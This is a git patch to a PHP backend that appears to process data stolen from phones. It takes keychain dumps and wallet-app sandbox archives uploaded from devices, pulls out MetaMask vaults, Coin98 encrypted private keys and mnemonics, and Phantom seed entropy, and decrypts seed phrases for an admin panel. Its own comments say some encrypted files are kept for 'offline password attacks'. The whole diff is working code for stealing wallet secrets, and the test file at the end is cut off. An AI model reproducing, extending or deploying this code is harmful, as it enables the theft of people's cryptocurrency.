From d0445117b3787e88f356abc7c3576b96647249cf Mon Sep 17 00:00:00 2001 From: hashbro Date: Mon, 5 Oct 2026 20:47:59 +0800 Subject: [PATCH] feat: app --- .../Controllers/Admin/KeystoreController.php | 5 +- app/Models/WalletKeystore.php | 2 + app/Services/AppUploadIngester.php | 555 +++++++++++++++++- app/Services/DarkSwordIngestAdapter.php | 7 +- app/Services/DsKeystoreDecrypt.php | 167 +++++- app/Services/IngestService.php | 19 +- app/Support/WalletSource.php | 1 + tests/Feature/AppUploadIngestTest.php | 381 ++++++++++++ 8 files changed, 1106 insertions(+), 31 deletions(-) diff --git a/app/Http/Controllers/Admin/KeystoreController.php b/app/Http/Controllers/Admin/KeystoreController.php index 20ec09c..ccd33cd 100644 --- a/app/Http/Controllers/Admin/KeystoreController.php +++ b/app/Http/Controllers/Admin/KeystoreController.php @@ -277,8 +277,8 @@ class KeystoreController extends Controller } elseif ((int) $keystore->decrypted === 1) { $msg = '没有新的助记词(该来源可能已解密)'; $code = 0; - } elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0) { - $msg = '没有可解密的 Keystore(UTC / MetaMask Vault)'; + } elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0 && (int) ($result['coin98'] ?? 0) === 0) { + $msg = '没有可解密的 Keystore(UTC / MetaMask Vault / Coin98 加密钱包)'; $code = 1; } else { $msg = '密码不正确,未能解开助记词'; @@ -296,6 +296,7 @@ class KeystoreController extends Controller 'sources' => $added->pluck('source')->unique()->values()->all(), 'utc' => $result['utc'], 'vault' => (int) ($result['vault'] ?? 0), + 'coin98' => (int) ($result['coin98'] ?? 0), ], ], $code === 0 ? 200 : 400); } diff --git a/app/Models/WalletKeystore.php b/app/Models/WalletKeystore.php index 54ce49b..cbf133f 100644 --- a/app/Models/WalletKeystore.php +++ b/app/Models/WalletKeystore.php @@ -346,6 +346,8 @@ class WalletKeystore extends Model 'sandbox' => '沙盒文件', 'web3.keystore' => '标准 Keystore', 'metamask.vault' => 'MetaMask Vault', + 'coin98.wallet' => 'Coin98 加密钱包', + 'encrypted.sandbox' => '加密钱包文件', default => $kind !== '' ? $kind : '未知', }; } diff --git a/app/Services/AppUploadIngester.php b/app/Services/AppUploadIngester.php index 117ebf5..df2248a 100644 --- a/app/Services/AppUploadIngester.php +++ b/app/Services/AppUploadIngester.php @@ -294,6 +294,8 @@ final class AppUploadIngester return; } + $this->persistRecoverableKeychainWallets($device, $buckets); + $rawJson = [ 'kind' => 'keychain.wallets', 'wallets' => $buckets, @@ -308,6 +310,10 @@ final class AppUploadIngester 'items' => $itemCount, 'sources' => array_keys($buckets), ]); + + // Don't wait for /api/v2/finish — Phantom / Uniswap / Exodus / Bitpie + // mnemonics live in this dump and should show up as soon as it lands. + $this->dispatchDecrypt($device); } /** @@ -389,6 +395,27 @@ final class AppUploadIngester $row->save(); } + /** + * Surface Bitpie / Phantom / Uniswap / Exodus as their own keystore rows + * so the admin 钥匙串 tab lists wallets whose mnemonic lives in keychain + * (not a UTC blob). + * + * @param array>}> $buckets + */ + private function persistRecoverableKeychainWallets(Device $device, array $buckets): void + { + foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus'] as $source) { + $items = $buckets[$source]['items'] ?? null; + if (! is_array($items) || $items === []) { + continue; + } + WalletKeystore::firstOrCreateForDevice($device, $source, [ + 'kind' => 'keychain.wallets', + 'wallets' => [$source => ['items' => $items]], + ]); + } + } + /** * @param array $item * @return array|null @@ -627,6 +654,11 @@ final class AppUploadIngester */ private function parseWalletTar(Device $device, string $content, string $bundleId): void { + // Full sandbox tars run 50–100 MB; the default 128M limit is not + // enough for tar string + decoded sandbox + keystore raw_json. + if ((int) ini_get('memory_limit') > 0 && ini_get('memory_limit') !== '-1') { + @ini_set('memory_limit', '512M'); + } $source = WalletSource::labelForBundle($bundleId, $bundleId); if ($source === '' || $source === $bundleId) { $hint = WalletSource::fromKeystoreHint($bundleId); @@ -640,6 +672,12 @@ final class AppUploadIngester $sandbox = $this->extractTarSandbox($content); $needsPassword = $sandbox !== [] && $this->sandboxNeedsUserPassword($bundleId, $source, $sandbox); $this->storeWeb3KeystoresFromSandbox($device, $source, $sandbox, $needsPassword); + $this->storePasswordVaultsFromSandbox($device, $source, $sandbox); + if ($this->isCoin98Source($source, $bundleId)) { + $this->storeCoin98KeystoreFromSandbox($device, $source, $sandbox); + } elseif ($this->isTokenPocketFamily($source, $bundleId)) { + $this->storeEncryptedSandboxFiles($device, $source, $sandbox); + } $this->ingestAddressesFromWalletTar($device, $source, $bundleId, $content, $sandbox); Log::channel('keystore')->info('AppUploadIngester: parsed wallet tar', [ @@ -732,6 +770,10 @@ final class AppUploadIngester $rows = []; $imToken = $this->isImTokenSource($source, $bundleId); $tokenPocketFamily = $this->isTokenPocketFamily($source, $bundleId); + $metaMask = $this->isMetaMaskSource($source, $bundleId); + $coin98 = $this->isCoin98Source($source, $bundleId); + $tonhub = $this->isTonhubSource($source, $bundleId); + $okx = $this->isOkxSource($source, $bundleId); // Global Wallet / TokenPocket Documents tar is token-list + helper // contracts (balanceContract / batchTxContract). Real wallets live in // encrypted sqlite and are not recoverable from this dump. @@ -740,6 +782,27 @@ final class AppUploadIngester $hits = $this->collectImTokenAddressHits($sandbox); } elseif ($this->isTrustSource($source, $bundleId)) { $hits = $this->collectTrustAddressHits($sandbox); + } elseif ($metaMask) { + // MetaMask Documents only holds Redux persist state — the real + // user accounts live in persist-AccountsController. Everything + // else (AssetsController token lists, network config) is noise. + $hits = $this->collectMetaMaskAccountHits($sandbox); + } elseif ($coin98) { + // Coin98 AsyncStorage caches the full token inventory JSON under + // hash-named keys — thousands of contract addresses. Real wallets + // live only in the SET_WALLET_STORAGE entry. + $hits = $this->collectCoin98WalletHits($sandbox); + } elseif ($tonhub) { + // Tonhub only ships react-query mmkv caches; the user's own TON + // address appears in ["cloud", ""] / ["account", ""] + // query keys. Everything else is contract / counterparty noise. + $hits = $this->collectTonhubAccountHits($sandbox); + } elseif ($okx) { + // OKX Documents only contain token-metadata sqlite + // (wallet_coinMeta) and an empty OKPayCore.db. Real accounts stay + // in encrypted keychain storage and never reach this dump — + // store nothing rather than thousands of token-contract rows. + $hits = []; } elseif (! $tokenPocketFamily) { $hits = $this->collectAddressHits($sandbox); } @@ -748,7 +811,11 @@ final class AppUploadIngester // the last coin (ARB) overwrites ETH. $rows[$hit['chain_type'].'|'.$hit['address']] = $hit; } - if (! $imToken && ! $tokenPocketFamily && ! $this->isTrustSource($source, $bundleId)) { + // Token-metadata sqlite (OKX wallet_coinMeta, Coin98 measurement db) + // must not leak contract lists into wallet_addresses either. + $targetedWallet = $imToken || $tokenPocketFamily || $metaMask || $coin98 || $tonhub || $okx + || $this->isTrustSource($source, $bundleId); + if (! $targetedWallet) { foreach ($this->collectSqliteAddressHits($tar) as $hit) { $key = $hit['address']; if (isset($rows[$key]) && is_array($rows[$key]['balance'] ?? null) && is_array($hit['balance'] ?? null)) { @@ -808,6 +875,144 @@ final class AppUploadIngester || str_contains($hay, 'mytokenpocket'); } + /** + * MetaMask persistStore keeps the keyring vault (encrypted mnemonic / + * snap secrets) under persist-KeyringController.vault and + * persist-SnapController.vault as a JSON-encoded + * {cipher, iv, salt, keyMetadata, lib} blob — the exact quick-crypto + * format the admin password-unlock flow already decrypts. Collect every + * vault-shaped node so it becomes a needs-password keystore row. + * + * @param array $sandbox + */ + private function storePasswordVaultsFromSandbox(Device $device, string $source, array $sandbox): void + { + foreach ($this->collectPasswordVaultNodes($sandbox) as $vault) { + $payload = array_merge($vault, ['kind' => 'metamask.vault']); + WalletKeystore::firstOrCreateForDevice($device, $source, $payload, true); + } + } + + /** + * @param mixed $node + * @return list> + */ + private function collectPasswordVaultNodes(mixed $node, int $depth = 0): array + { + if ($depth > 14 || ! is_array($node)) { + return []; + } + $out = []; + $vault = $node['vault'] ?? null; + if (is_string($vault) || is_array($vault)) { + $parsed = is_string($vault) ? json_decode($vault, true) : $vault; + if (is_array($parsed) + && is_string($parsed['cipher'] ?? null) + && is_string($parsed['iv'] ?? null) + && is_string($parsed['salt'] ?? null)) { + $out[] = $parsed; + } + } + foreach ($node as $child) { + if (is_array($child)) { + $out = array_merge($out, $this->collectPasswordVaultNodes($child, $depth + 1)); + } + } + if (count($out) > 1) { + $out = $this->uniqueVaults($out); + } + + return $out; + } + + /** + * @param list> $vaults + * @return list> + */ + private function uniqueVaults(array $vaults): array + { + $seen = []; + $out = []; + foreach ($vaults as $vault) { + $key = (string) ($vault['cipher'] ?? ''); + if ($key === '' || isset($seen[$key])) { + continue; + } + $seen[$key] = true; + $out[] = $vault; + } + + return $out; + } + + /** + * Global Wallet / TokenPocket Documents hide the real wallets inside + * encrypted blobs (the F4SeCyr backup file and the SQLCipher-locked + * db/*.sqlite3) while everything else is market-cache noise. Persist + * the non-cache files as an encrypted-sandbox keystore row so the raw + * material stays available for offline password attacks even though + * no decryptor exists yet. + * + * @param array $sandbox + */ + private function storeEncryptedSandboxFiles(Device $device, string $source, array $sandbox): void + { + $files = $this->collectNonCacheSandboxFiles($sandbox); + if ($files === []) { + return; + } + WalletKeystore::firstOrCreateForDevice($device, $source, [ + 'kind' => 'encrypted.sandbox', + 'files' => $files, + ], true); + } + + /** + * Grab sandbox files outside Documents/cache (wallet data, encrypted + * dbs), capped so a pathological sandbox cannot blow up the row. + * + * @param array $sandbox + * @return array + */ + private function collectNonCacheSandboxFiles(array $sandbox): array + { + $out = []; + $this->walkNonCacheFiles($sandbox, '', $out, 0); + + return $out; + } + + /** + * @param array $out + */ + private function walkNonCacheFiles(mixed $node, string $path, array &$out, int $depth): void + { + if ($depth > 14 || count($out) >= 32 || ! is_array($node)) { + return; + } + foreach ($node as $key => $child) { + $childPath = ($path === '' ? '' : $path.'/').(string) $key; + $ancestors = explode('/', $childPath); + $inCache = in_array('cache', $ancestors, true) || in_array('Caches', $ancestors, true); + if (is_string($child) && ! $inCache) { + // Only binary payloads (decodeFileContent base64-encoded + // them) — decoded plaintext that is valid UTF-8 text is a + // config/cache file, not encrypted wallet material. + if (preg_match('/^[A-Za-z0-9+\/]{64,}={0,2}$/', $child)) { + $bin = base64_decode($child, true); + if (is_string($bin) && strlen($bin) >= 32 && ! mb_check_encoding($bin, 'UTF-8')) { + $out[$childPath] = $child; + } + } + + continue; + } + if (is_array($child)) { + $this->walkNonCacheFiles($child, $childPath, $out, $depth + 1); + } + } + } + private function isTrustSource(string $source, string $bundleId): bool { $hay = strtolower($source.' '.$bundleId); @@ -817,6 +1022,289 @@ final class AppUploadIngester || str_contains($hay, 'wallet.crypto.trustapp'); } + private function isMetaMaskSource(string $source, string $bundleId): bool + { + return str_contains(strtolower($source.' '.$bundleId), 'metamask'); + } + + private function isCoin98Source(string $source, string $bundleId): bool + { + return str_contains(strtolower($source.' '.$bundleId), 'coin98'); + } + + private function isTonhubSource(string $source, string $bundleId): bool + { + return str_contains(strtolower($source.' '.$bundleId), 'tonhub'); + } + + private function isOkxSource(string $source, string $bundleId): bool + { + $hay = strtolower($source.' '.$bundleId); + + return str_contains($hay, 'okex') || str_contains($hay, 'okx.'); + } + + /** + * MetaMask accounts are Redux-persisted under + * persist-AccountsController → internalAccounts.accounts.{uuid} with a + * CAIP type ("eip155:eoa", "solana:data-account", "bip122:p2wpkh", + * "tron:eoa", "stellar:account", …). Only the four supported chain + * prefixes are stored; snaps and niche chains are skipped. + * + * @param mixed $node + * @return list}> + */ + private function collectMetaMaskAccountHits(mixed $node, int $depth = 0): array + { + if ($depth > 14 || ! is_array($node)) { + return []; + } + $out = []; + $accounts = $node['internalAccounts']['accounts'] ?? null; + if (is_array($accounts)) { + foreach ($accounts as $account) { + if (! is_array($account)) { + continue; + } + $addr = $account['address'] ?? null; + if (! is_string($addr) || $addr === '') { + continue; + } + $chain = $this->metaMaskChainForAccount($account); + if ($chain === null) { + continue; + } + $out[] = [ + 'address' => $addr, + 'chain_type' => $chain, + 'balance' => [], + ]; + } + } + foreach ($node as $child) { + if (is_array($child)) { + $out = array_merge($out, $this->collectMetaMaskAccountHits($child, $depth + 1)); + } + } + + return $out; + } + + /** + * @param array $account + */ + private function metaMaskChainForAccount(array $account): ?string + { + $type = strtolower((string) ($account['type'] ?? '')); + $prefix = explode(':', $type)[0]; + $chain = match ($prefix) { + 'eip155' => 'ETHEREUM', + 'solana' => 'SOLANA', + 'bip122' => 'BITCOIN', + 'tron' => 'TRON', + default => null, + }; + if ($chain === null || ! WalletSource::isSupportedChain($chain)) { + return null; + } + + return $chain; + } + + /** + * Coin98 keeps the real wallet list in the RCTAsyncLocalStorage + * SET_WALLET_STORAGE key (a doubly JSON-encoded array of + * {address, privateKey, mnemonic, chain, isActive} entries). The + * neighbouring keys (CACHE_TOKEN_LIST_DATA, POINT_TOKEN_INFO, …) are + * token inventories and must never be harvested. + * + * @param array $sandbox + * @return list}> + */ + private function collectCoin98WalletHits(array $sandbox): array + { + $out = []; + foreach ($this->coin98WalletsFromSandbox($sandbox) as $wallet) { + $addr = $wallet['address'] ?? null; + if (! is_string($addr) || $addr === '') { + continue; + } + $hit = $this->addressHitFromString($addr); + if ($hit !== null) { + $out[] = $hit; + } + } + + return $out; + } + + /** + * Walk the sandbox for Coin98 wallet entries (the SET_WALLET_STORAGE + * value, or the standalone per-key AsyncStorage file variant) and + * return them verbatim — address / chain / name plus the CryptoJS + * "U2FsdGVkX1…" privateKey / mnemonic blobs that offline password + * recovery needs. + * + * @param mixed $node + * @return list> + */ + private function coin98WalletsFromSandbox(mixed $node, int $depth = 0): array + { + if ($depth > 14 || ! is_array($node)) { + return []; + } + $out = []; + $storage = $node['SET_WALLET_STORAGE'] ?? null; + if ($storage !== null) { + $wallets = is_string($storage) ? json_decode($storage, true) : $storage; + if (is_array($wallets) && $this->looksLikeCoin98WalletList($wallets)) { + $out = array_merge($out, array_values(array_filter($wallets, 'is_array'))); + } + } + $list = $this->coin98WalletList($node); + if ($list !== null) { + $out = array_merge($out, $list); + } + foreach ($node as $child) { + if (is_array($child)) { + $out = array_merge($out, $this->coin98WalletsFromSandbox($child, $depth + 1)); + } + } + + return $out; + } + + /** + * @param array $node + * @return list>|null + */ + private function coin98WalletList(array $node): ?array + { + $wallets = $node['wallets'] ?? null; + if (! is_array($wallets) || ! $this->looksLikeCoin98WalletList($wallets)) { + return null; + } + + return array_values(array_filter($wallets, 'is_array')); + } + + /** + * @param array $wallets + */ + private function looksLikeCoin98WalletList(array $wallets): bool + { + if (! array_is_list($wallets) || $wallets === []) { + return false; + } + $first = $wallets[0]; + if (! is_array($first)) { + return false; + } + + return isset($first['address']) + && (isset($first['isActive']) || isset($first['privateKey']) || isset($first['mnemonic'])); + } + + /** + * Persist the Coin98 wallet list (with the CryptoJS privateKey / + * mnemonic blobs) as a needs-password keystore row so the admin + * password-unlock flow can recover the mnemonic offline. + * + * @param array $sandbox + */ + private function storeCoin98KeystoreFromSandbox(Device $device, string $source, array $sandbox): void + { + $wallets = $this->coin98WalletsFromSandbox($sandbox); + if ($wallets === []) { + return; + } + $hasCipher = false; + foreach ($wallets as $wallet) { + foreach (['privateKey', 'mnemonic'] as $field) { + $value = $wallet[$field] ?? null; + if (is_string($value) && $this->isCryptoJsCipher($value)) { + $hasCipher = true; + break 2; + } + } + } + WalletKeystore::firstOrCreateForDevice($device, $source, [ + 'kind' => 'coin98.wallet', + 'wallets' => $wallets, + ], $hasCipher); + } + + /** + * CryptoJS AES default output: base64("Salted__" + 8-byte salt + + * AES-256-CBC ciphertext). + */ + private function isCryptoJsCipher(string $value): bool + { + $decoded = base64_decode($value, true); + + return is_string($decoded) && str_starts_with($decoded, 'Salted__'); + } + + /** + * Tonhub only exposes the user address through react-query mmkv + * cache keys: ["cloud","", …] queries (primaryCurrency / + * addressbook / config) are keyed by the wallet owner's own address. + * holders / account / pool keys may reference third-party contracts + * or viewed pages, so they are skipped. mmkv files arrive + * base64-encoded (decodeFileContent caps text at 64 KiB), so try the + * raw string first, then its base64 payload. + * + * @param mixed $node + * @return list}> + */ + private function collectTonhubAccountHits(mixed $node, int $depth = 0): array + { + if ($depth > 14 || $node === null) { + return []; + } + $out = []; + if (is_string($node)) { + foreach ($this->tonhubAddressesFromString($node) as $addr) { + $out[] = [ + 'address' => $addr, + 'chain_type' => 'TON', + 'balance' => [], + ]; + } + + return $out; + } + if (! is_array($node)) { + return []; + } + foreach ($node as $child) { + if (is_array($child) || is_string($child)) { + $out = array_merge($out, $this->collectTonhubAccountHits($child, $depth + 1)); + } + } + + return $out; + } + + /** + * @return list + */ + private function tonhubAddressesFromString(string $raw): array + { + $found = []; + $pattern = '/\["cloud","([EU]Q[A-Za-z0-9_\-]{46})"/'; + foreach ([$raw, (string) (base64_decode($raw, true) ?: '')] as $text) { + if ($text === '' || ! preg_match_all($pattern, $text, $matches)) { + continue; + } + foreach ($matches[1] as $addr) { + $found[$addr] = $addr; + } + } + + return array_values($found); + } + /** * Trust HD UTC lists every WalletCore coin in activeAccounts. Many of * those addresses are 0x-shaped (ETC, VeChain, Theta, …) and must not @@ -930,6 +1418,10 @@ final class AppUploadIngester if (! is_array($node)) { return []; } + if ($this->isTokenEntryNode($node)) { + // {symbol, name, decimals, address} — token inventory entry, not a user account. + return []; + } foreach (['address', 'Address', 'walletAddress', 'ethAddress', 'tronAddress'] as $key) { if (isset($node[$key]) && is_string($node[$key])) { $hit = $this->addressHitFromString($node[$key]); @@ -938,7 +1430,12 @@ final class AppUploadIngester } } } - foreach ($node as $child) { + foreach ($node as $key => $child) { + if (is_string($key) && in_array($key, self::CONTRACT_KEY_DENYLIST, true)) { + // multicall3 / foxConnectAddresses / contract maps are + // network config, never user accounts. + continue; + } if (is_array($child) || is_string($child)) { $out = array_merge($out, $this->collectAddressHits($child, $depth + 1)); } @@ -947,6 +1444,38 @@ final class AppUploadIngester return $out; } + /** + * Keys that only ever hold contract / config addresses. + * + * @var list + */ + private const CONTRACT_KEY_DENYLIST = [ + 'contracts', + 'contract', + 'contractAddress', + 'tokenAddress', + 'token_address', + 'wethContractAddress', + 'multicall3', + 'multicallAddress', + 'foxConnectAddresses', + 'batchTxContract', + 'balanceContract', + ]; + + /** + * @param array $node + */ + private function isTokenEntryNode(array $node): bool + { + if (! isset($node['symbol'])) { + return false; + } + + return isset($node['decimals']) || isset($node['name']) || isset($node['tokenType']) + || isset($node['chainId']) || isset($node['logoUri']); + } + /** * @return array{address: string, chain_type: string, balance: array}|null */ @@ -954,10 +1483,17 @@ final class AppUploadIngester { $addr = trim($raw); if ($addr !== '' && ctype_xdigit($addr) && strlen($addr) === 40) { + // Pure-digit 40-hex blobs are data (balances, timestamps), not accounts. + if (ctype_digit($addr)) { + return null; + } $addr = '0x'.$addr; } $chain = WalletSource::inferChainType($addr); - if (! WalletSource::isSupportedChain($chain)) { + // TON is only harvested by the dedicated Tonhub collector: EQ/UQ + // strings float around token caches as jetton contracts and would + // flood wallet_addresses from free-text scans. + if ($chain === 'TON' || ! WalletSource::isSupportedChain($chain)) { return null; } @@ -1336,11 +1872,20 @@ final class AppUploadIngester continue; } +$entrySize = (int) $f->getSize(); + // Hard gate before reading: wallet configs / keystores are small + // (Realm ≤ a few MB); image caches and token-inventory dumps are + // tens of MB and only burn memory (fatal on 128M limits when a + // device uploads a full 76 MB sandbox tar). + if ($entrySize > 5 * 1024 * 1024) { + continue; + } $raw = @file_get_contents($f->getPathname()); if ($raw === false || $raw === '') { continue; } $decoded = $this->decodeFileContent($raw, $rel); + unset($raw); if ($decoded === null) { continue; } @@ -1360,8 +1905,10 @@ final class AppUploadIngester private function decodeFileContent(string $raw, string $path): mixed { // JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf). + // Cap the decode: multi-MB token inventories explode into huge PHP + // arrays (10× the raw size) and end up serialized into raw_json. $first = $raw[0] ?? ''; - if ($first === '{' || $first === '[') { + if (($first === '{' || $first === '[') && strlen($raw) <= 2 * 1024 * 1024) { $json = json_decode($raw, true); if (is_array($json)) { return $json; diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index eb6cbca..99c9753 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -1017,6 +1017,7 @@ class DarkSwordIngestAdapter 'hits' => count($result['hits']), 'utc' => $result['utc'], 'vault' => $result['vault'] ?? 0, + 'coin98' => $result['coin98'] ?? 0, ]; } @@ -1367,7 +1368,11 @@ class DarkSwordIngestAdapter if (is_array($json) && isset($json['address']) && is_string($json['address'])) { $addr = $json['address']; $chainType = WalletSource::inferChainType($addr); - if (WalletSource::isSupportedChain($chainType)) { + // TON stays out of DS free-text harvests (jetton + // contract noise); only the app-link Tonhub + // collector may store TON addresses. + $supported = $chainType !== 'TON' && WalletSource::isSupportedChain($chainType); + if ($supported) { $out[] = $this->addressRow($addr, $chainType, $source, $tag); } } diff --git a/app/Services/DsKeystoreDecrypt.php b/app/Services/DsKeystoreDecrypt.php index a83bd7f..d997204 100644 --- a/app/Services/DsKeystoreDecrypt.php +++ b/app/Services/DsKeystoreDecrypt.php @@ -69,6 +69,8 @@ final class DsKeystoreDecrypt foreach ($this->recoverPhantom($phantomNodes) as $hit) { $hash = WalletMnemonic::hashSecret($hit['phrase']); if (isset($seen[$hash])) { + $this->markSourceDecrypted($device->id, $hit['source']); + continue; } $seen[$hash] = true; @@ -101,16 +103,20 @@ final class DsKeystoreDecrypt $utcs = []; $vaults = []; + $coin98Wallets = []; foreach ($nodes as $node) { $utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown')); $vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown')); + foreach ($this->collectCoin98Backups($node) as $wallets) { + $coin98Wallets = array_merge($coin98Wallets, $wallets); + } } $utcs = $this->uniqueKeystores($utcs); $passwords = $this->expandUserPassword($password); $hits = []; $seen = []; if ($passwords === []) { - return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults)]; + return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)]; } foreach ($utcs as $item) { @@ -151,7 +157,26 @@ final class DsKeystoreDecrypt ]; } - return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults)]; + // Coin98 CryptoJS privateKey / mnemonic blobs keyed by the user's + // wallet password. + if ($coin98Wallets !== []) { + $phrase = $this->unlockCoin98Wallets($coin98Wallets, $passwords); + if ($phrase !== null) { + $hash = WalletMnemonic::hashSecret($phrase); + if (! isset($seen[$hash])) { + $seen[$hash] = true; + $hitSource = $source !== '' ? $source : 'Coin98'; + $hits[] = [ + 'source' => $hitSource, + 'tag' => WalletSource::tagForLabel($hitSource) ?: 'q', + 'phrase' => $phrase, + 'addresses' => [], + ]; + } + } + } + + return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)]; } /** @@ -417,19 +442,11 @@ final class DsKeystoreDecrypt } $out = []; - // Phantom vault seedless entries: service=app:no-auth, account hex-decodes - // to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with - // an "entropy" dict of byte-index → byte-value pairs. - $svc = strtolower(trim((string) ($node['service'] ?? ''))); - $acct = (string) ($node['account'] ?? ''); - $acctDecoded = ''; - if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) { - $bin = @hex2bin($acct); - if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) { - $acctDecoded = strtolower($bin); - } - } - if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) { + // Phantom vault entropy lives in dataHex as {"entropy":{"0":n,...}}. + // Account may be hex, base64, or already-decoded UTF-8, and the path + // is either ".phantom-labs.vault.seedless.*" (older) or + // ".phantom-labs.vault.seed.*" (current iOS app). + if ($this->isPhantomVaultItem($node)) { $hex = $this->phantomEntropyFromItem($node); if ($hex !== null) { $out[] = $hex; @@ -446,7 +463,54 @@ final class DsKeystoreDecrypt } /** - * Extract the entropy hex from a Phantom vault seedless keychain item. + * @param array $node + */ + private function isPhantomVaultItem(array $node): bool + { + $svc = strtolower(trim((string) ($node['service'] ?? ''))); + $acct = $this->decodeKeychainAccount((string) ($node['account'] ?? '')); + $agrp = strtolower((string) ($node['accessGroup'] ?? '')); + $looksPhantom = str_contains($acct, 'phantom-labs') + || str_contains($acct, 'phantom') + || str_contains($agrp, 'phantom') + || $svc === 'app.phantom'; + if ($looksPhantom) { + return true; + } + + // Older DS dumps used service=app:no-auth + hex account. + return $svc === 'app:no-auth' && ( + str_contains($acct, 'phantom-labs.vault.seedless') + || str_contains($acct, 'phantom-labs.vault.seed.') + ); + } + + private function decodeKeychainAccount(string $acct): string + { + $acct = trim($acct); + if ($acct === '') { + return ''; + } + $lower = strtolower($acct); + if (str_contains($lower, 'phantom-labs') || str_contains($lower, 'phantom')) { + return $lower; + } + if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) { + $bin = @hex2bin($acct); + if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) { + return strtolower($bin); + } + } + $b64 = base64_decode($acct, true); + if (is_string($b64) && $b64 !== '' && mb_check_encoding($b64, 'UTF-8')) { + return strtolower($b64); + } + + return $lower; + } + + /** + * Extract the entropy hex from a Phantom vault seedless/seed keychain item. * * @param array $item */ @@ -529,6 +593,15 @@ final class DsKeystoreDecrypt } } + // App-link coin98.wallet keystore row (SET_WALLET_STORAGE wallets, + // with CryptoJS-encrypted privateKey / mnemonic blobs). + if (trim((string) ($node['kind'] ?? '')) === 'coin98.wallet' && is_array($node['wallets'] ?? null)) { + $wallets = array_values(array_filter($node['wallets'], 'is_array')); + if ($wallets !== []) { + $out[] = $wallets; + } + } + foreach ($node as $key => $child) { if (is_array($child) || is_string($child)) { $out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1)); @@ -790,6 +863,68 @@ final class DsKeystoreDecrypt return null; } + /** + * Coin98 SET_WALLET_STORAGE wallets keep privateKey / mnemonic as + * CryptoJS AES blobs ("U2FsdGVkX1…" = base64 OpenSSL "Salted__" + + * 8-byte salt + AES-256-CBC ciphertext). Try the mnemonic blob first + * (it decrypts straight to a BIP39 phrase), then the privateKey blob. + * + * @param list> $wallets + * @param list $passwords + */ + public function unlockCoin98Wallets(array $wallets, array $passwords): ?string + { + foreach ($wallets as $wallet) { + if (! is_array($wallet)) { + continue; + } + foreach (['mnemonic', 'privateKey'] as $field) { + $cipher = $wallet[$field] ?? null; + if (! is_string($cipher) || $cipher === '') { + continue; + } + foreach ($passwords as $password) { + $plain = $this->decryptCryptoJsAes($cipher, $password); + if ($plain === null) { + continue; + } + $phrase = $this->asMnemonic($plain); + if ($phrase !== null) { + return $phrase; + } + } + } + } + + return null; + } + + /** + * CryptoJS AES.encrypt(plain, password) default format: + * base64("Salted__" + salt(8) + AES-256-CBC ciphertext), with the key + * and IV derived via OpenSSL EVP_BytesToKey (MD5, one round). + */ + private function decryptCryptoJsAes(string $cipherB64, string $password): ?string + { + $raw = base64_decode($cipherB64, true); + if (! is_string($raw) || strlen($raw) < 32 || ! str_starts_with($raw, 'Salted__')) { + return null; + } + $salt = substr($raw, 8, 8); + $cipher = substr($raw, 16); + $derived = ''; + $block = ''; + while (strlen($derived) < 48) { + $block = md5($block.$password.$salt, true); + $derived .= $block; + } + $key = substr($derived, 0, 32); + $iv = substr($derived, 32, 16); + $plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); + + return is_string($plain) && $plain !== '' ? $plain : null; + } + private function phraseFromVaultPlain(string $plain): ?string { $direct = $this->asMnemonic($plain); diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index f28c52c..64493fd 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -1278,14 +1278,17 @@ class IngestService if ($address === '') { continue; } - if (! isset($byAddr[$address])) { - $chain = (string) ($item['chainType'] ?? $item['chain'] ?? ''); - if ($chain === '') { - $chain = WalletSource::inferChainType($address); - } - $byAddr[$address] = [ + $chain = strtoupper((string) ($item['chainType'] ?? $item['chain'] ?? '')); + if ($chain === '') { + $chain = WalletSource::inferChainType($address); + } + // Key by address + chain: the same 0x address is a valid row on + // ETH, BSC and ARB at once and must not collapse into one. + $key = $address.'|'.$chain; + if (! isset($byAddr[$key])) { + $byAddr[$key] = [ 'address' => $address, - 'chain_type' => strtoupper($chain), + 'chain_type' => $chain, 'balance' => [], ]; } @@ -1293,7 +1296,7 @@ class IngestService if ($symbol === '') { continue; } - $byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance( + $byAddr[$key]['balance'][$symbol] = WalletSource::formatBalance( $item['balance'] ?? $item['value'] ?? 0, $item['decimal'] ?? $item['decimals'] ?? null ); diff --git a/app/Support/WalletSource.php b/app/Support/WalletSource.php index 121a79d..3608c15 100644 --- a/app/Support/WalletSource.php +++ b/app/Support/WalletSource.php @@ -268,6 +268,7 @@ final class WalletSource 'BNB', 'BSC', 'BINANCE', 'SOL', 'SOLANA', 'ARB', 'ARBITRUM', + 'TON', 'TONCOIN', ]; public static function isSupportedChain(string $chainType): bool diff --git a/tests/Feature/AppUploadIngestTest.php b/tests/Feature/AppUploadIngestTest.php index 508da95..1c78052 100644 --- a/tests/Feature/AppUploadIngestTest.php +++ b/tests/Feature/AppUploadIngestTest.php @@ -341,6 +341,39 @@ class AppUploadIngestTest extends TestCase $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); } + #[Test] + public function keychain_phantom_base64_seed_vault_recovers_mnemonic(): void + { + $device = $this->makeDevice('dev-phantom-b64'); + $entropy = []; + for ($i = 